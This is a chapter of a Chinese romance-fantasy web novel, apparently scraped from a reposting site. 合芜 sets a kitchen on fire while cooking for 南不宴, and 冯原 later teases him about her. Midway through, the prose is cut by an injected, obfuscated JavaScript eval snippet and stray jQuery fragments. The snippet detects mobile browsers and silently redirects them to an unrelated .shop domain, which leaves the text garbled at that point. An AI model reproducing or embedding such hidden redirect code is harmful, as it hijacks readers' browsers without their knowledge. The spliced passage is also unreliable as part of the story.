合芜给自己加油打气,从桌台上随手拿起根竹筷,将垂在一侧的长辫子盘绕起来,懒懒散散绕在脑后。 不就是一个糖油果子吗,她合芜还没有说不行的时候! “取糯米粉和以热水,还有酵粉……红糖少许……”合芜盯着书页上的红字,在围裙上抹了抹手,拿起木棍开始在碗里搅动起来。 只是这搅着搅着,合芜的表情开始难以捉摸起来:“这颜色……嗯……怎么好像不太对静。” “算了算了,做出来的味道应该是对的。” 卖相什么的,她现在也追求不来,反正吃到肚子里都一样,睁一眼闭一眼的也就吃下去了。 合芜嘿咻嘿咻搅着,直到搅不动了便将面糊糊从碗里倒出来开始和面团。 “怎么……这么……粘手啊?”合芜边揉边嘀咕,“这书上不是说可以揉成光滑的面团吗?” 合芜又胡乱揉了几下,就将面团分成几小段开始在掌心搓圆。 “这样应该就可以了吧,起锅烧油!” 刺啦啦!面团下锅,溅起油星子,合芜立马缩到锅盖后面。 呼……安全! 再来一个……再加一个…… 加…… …… 轰隆隆!!! 一声巨响,膳房窗口冒出阵阵黑烟,膳房的屋门被猛地撞开,一个灰扑扑的身影落荒而逃地冲出膳房。 合芜刚冲下膳房的台阶就撞进了一个结实的胸膛,现在不仅是心灵上受到重创,连带着额头也撞得不轻。 “谁呀!不长眼……睛的吗……”合芜的大嗓门在看清来人之后瞬间降低了音量,气势全无。 “南不宴?你怎么来这里了?” 南不宴不知道什么时候来了膳房,看了撞在自己怀里的合芜一眼,后退半步眉头一皱:“我要是再不来,我家的膳房恐怕是保不住了吧。” “呃……这个嘛。”合芜回头看了一眼还在冒黑烟的膳房,有点尴尬地摸摸鼻子,手上的黑灰蹭在脸上唯一还干净的鼻尖上,整个人登时变得有些滑稽可笑,“这个膳房还可以再救一下。” 南不宴的神色微不可察地变化了一瞬,像是憋笑。 “想要研究炸药就自己溜去军械司,合姑娘不是能耐着吗,难道说在我府上的膳房里也能研究炸药不成?”南不宴边说边往膳房里走。 合芜立马抬脚跟上去,嘴里谄媚道:“没有没有,我就是念及都堂大人这几日东奔西走繁忙得很,想来也没有好好吃东西,你看你看这脸都瘦了一圈,我这不就是想要做一些吃的,给都堂大人尝尝。” 在一片狼藉的膳房里站定,南不宴嘴角微抽,灶台上还架着锅,但好在灶台里的火已经灭了,只是还在冒着股股黑烟:“这就是你说的,吃的?” 油锅里上下漂浮着一个个黑乎乎的面团,一旁的瓷盘上还放着几个已经捞出来的糖油果子,形状歪七扭八,色泽也着实诡异了一些。 合芜见南不宴看着那糖油果子的眼神愣愣的,他不会以为她要毒死他吧?合芜一想到这个可能性,心里一阵发寒,立马解释道:“这是糖油果子……嗯失败版,绝对无毒无公害!” 怕他还是不相信,合芜冲上前端起盛着糖油果子的瓷盘,举到南不宴面前:“都堂大人尝尝?” 南不宴不可置信地偏头看着合芜:“这个,能吃?” “人不可貌相,这吃的也不可貌相不是?都堂大人别看这糖油果子看着不好看,但是想来味道应该大差不差的!”合芜自信满满。 “怎么,你尝过?” “呃……那还真没有。” 合芜看着黑乎乎的糖油果子,咽咽口水,不是馋的,是紧张的。 “尝就尝,不就是个糖油果子吗。”合芜揪起一个,小心翼翼放到嘴边。 她眼神躲闪地瞥了面前的男人一眼,南不宴正微微俯身看着她,扬扬下巴示意她敢吃就吃。 合芜咬牙,咬了一小口。 “啊呸!” 怎么这么苦啊!合芜一副被苦到了的模样,龇牙咧嘴。 南不宴看着她的表情缓缓直起身,开口道:“冯原同你说的?” 这问题问的没头没尾,但好在合芜听懂了,南不宴是在问他喜欢吃糖油果子这件事是谁告诉她的。 “呃……果真是什么都瞒不住都堂大人啊,哈哈。”合芜笑嘻嘻道。 南不宴唇张张合合,终是道:“若是如此,倒是不必,我现在不吃甜的。” “为,为什么?”嘴里的苦味散尽,合芜问道。 合芜看不懂南不宴的神色,南不宴总是很冷的一副样子,面上神情不多也不明显,走路板板正正,说话也是冷冷的调子,但是不时又能让人感到在这冰冷面具之下,仿佛一直掩藏着一个炙热许多的灵魂,让人难以捉摸。 “不喜欢了。”南不宴话语简短,“一会儿找下人把膳房收拾干净,以后这些东西都不必做。”南不宴没有再说什么,转身离开膳房。 “不是为什么呀?甜的东西多好呀,怎么说不喜欢就不喜欢了。”合芜顶着一张几乎全黑的脸嘀咕着,追到门边。 南不宴的身影消失在院墙墙角。 合芜眼巴巴地靠在门框上。 完蛋,那这不就又堵死了一条路吗?这南不宴果真如同传言中说的那般难以捉摸,前几日还在前厅当着外人的面说她是他心悦之人,虽说是权宜之计合芜自然晓得,但是这脸变得也太快了些,好赖不吃,强着来合芜她自己不敢上,软着来南不宴也不上当,这该如何是好。 * 烛台上点着蜡烛,烛焰在流动的气流吹动下轻轻摇晃着,忽明忽暗的,将南不宴的影子映照在身后的窗纸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165131|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 南不宴看着面前的书册,无奈似的轻叹口气,揉揉自己的太阳穴,倒不是因为书册晦涩难懂也不是为要调查的事情感到苦恼。 “咔嚓!”传来一声窸窸窣窣的噪响。 “……” “咔嚓!” 南不宴终是抬起头道:“冯原你能不能别有事没事在我这书房里闲坐着,还有你端着这一盘瓜子坐在这嗑了良久一直盯着我做什么?” 冯原光笑不语,愣是笑出了一种高深莫测的感觉。 直到他觉得南不宴真要跟他急眼,才缓缓道:“我算是看出来了。” “你看出什么了?”南不宴合上书册。 “合芜对你有意思。” 南不宴白了冯原一眼,后者还在饶有道理地分析着:“我还觉着你对她也有意思。” “我看你挺有意思。”南不宴嘴角微抽,说着随手抄起桌上摆着的毛笔。 冯原急了:“你先别急,你听我分析。” 冯原边说边躲:“我给你俩算了一卦,卦象显示你俩确实有缘呐,你也不看看合芜一开始就向我打听你的消息,还有你这一板一眼的人,前几日竟然会为了摆脱萧元熙的纠缠把合芜当成挡箭牌,你们才认识多久啊,这放在从前可是万万不会发生的事情,你们俩都不对静。”南不宴把合芜当成挡箭牌的事情还是冯原从风影嘴里套出来的消息。 “我看你最不对静,钦天监是没有什么事给你干吗,天天这么闲?” 冯原像是听到了什么值得炫耀的事情,挺胸抬头道:“现在钦天监在我这排第二,拜师学艺这事是我现在的重中之重!” 南不宴冷声道:“拜师?你要拜合芜为师?” “对啊,不宴你可别羡慕我,虽然现在合芜还没答应,但这一定是迟早的事,也不看看我冯原在玄学之事上多有天赋。”冯原自大自夸着。 “你都不知道她是谁,就敢拜师?”南不宴轻哼一声道。 冯原像是听到了什么天大的笑话,咂舌道:“啧啧啧,不宴呐,拜师拜的是能力,怎么能看身份呢?你狭隘了!” 南不宴好笑似的看着冯原那自得意满的表情,真是不知道要是冯原知道合芜是从阴曹地府里来的会是什么表情,但南不宴没想告诉他,毕竟是否告示他人自己的身份是合芜自己的事,他无权也没那个兴趣替她说出去。 这时候,屋外传来敲门声。 “侯爷。”冯原刻意压低的声音在门外响起。 南不宴道:“进来。” 风影闪身进屋,几步走到南不宴面前,精简道:“从京州前往济婴镇的道路已经都派人探查过了,现下都已经准备妥当,侯爷我们什么时候出发?” 这几日,南不宴和风影在忙活的就是这件事。 “你们要去哪里?”冯原也不贫嘴了,神色严肃了几分问道。 “手下的人在济婴镇找到了有关于当年事情的相关信息,哪怕是一点可能我都要亲自去看看。”南不宴道。 “带上我。”冯原接话。 南不宴眼神一凌:“你去做什么。” 冯原一脸内疚:“当年若不是我算错卦,卜出了烬烽关确实有危的结果,崔禾也不会那么确信你出了危险,不会那么着急赶去……” 一时间屋内静悄悄,没有人说话。 突然。 “咔——” 窗外传来树枝被踩断的声响,南不宴伸手抓住剑柄,嗖地一下将剑刺出窗纸。 窗纸被捅破,残缺的口子在夜风里簌簌颤着,合芜瑟瑟发抖地站在窗外,那是一动都不敢动,眼睛都不敢眨眨,毕竟剑尖就停在她眼前,冒着股股寒凉。 她咽咽口水,抬眸透过被捅破的窗户纸,对上南不宴的视线,声音都打着颤:“要不……也加我一个呗。”